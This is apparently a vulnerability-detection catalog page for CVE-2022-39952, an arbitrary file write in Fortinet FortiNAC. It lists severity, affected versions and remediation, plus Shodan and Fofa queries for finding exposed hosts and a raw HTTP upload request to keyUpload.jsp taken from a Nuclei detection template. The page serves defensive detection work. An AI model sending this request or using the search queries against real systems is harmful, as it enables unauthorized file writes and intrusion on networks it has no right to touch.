🔙 목록으로 돌아가기

CVE-2022-39952: Fortinet FortiNAC - Arbitrary File Write

TitleFortinet FortiNAC - Arbitrary File Write
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data loss.
RemediationUpgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
CVSS Score9.8
EPSS Score0.93777
CVE IDCVE-2022-39952
CWE IDCWE-668,CWE-73
Shodan Querytitle:"FortiNAC"http.title:"fortinac"
Fofa Querytitle="fortinac"
Tags cve cve2022 fortinet fortinac fileupload rce intrusive vkev vuln

🔍 Vulnerability Description

Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.

🌐 HTTP Request

POST /configWizard/keyUpload.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Length: 174
Accept: */*
Accept-Language: en
Content-Type: multipart/form-data; boundary=46396533584d694149676e46754b7541
Accept-Encoding: gzip

--46396533584d694149676e46754b7541

Content-Disposition: form-data; name="key"; filename="cuceclqp.zip"



38FC7mizhUVo5ioHQTHAPeb0w4D

--46396533584d694149676e46754b7541--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39952.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-39952.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A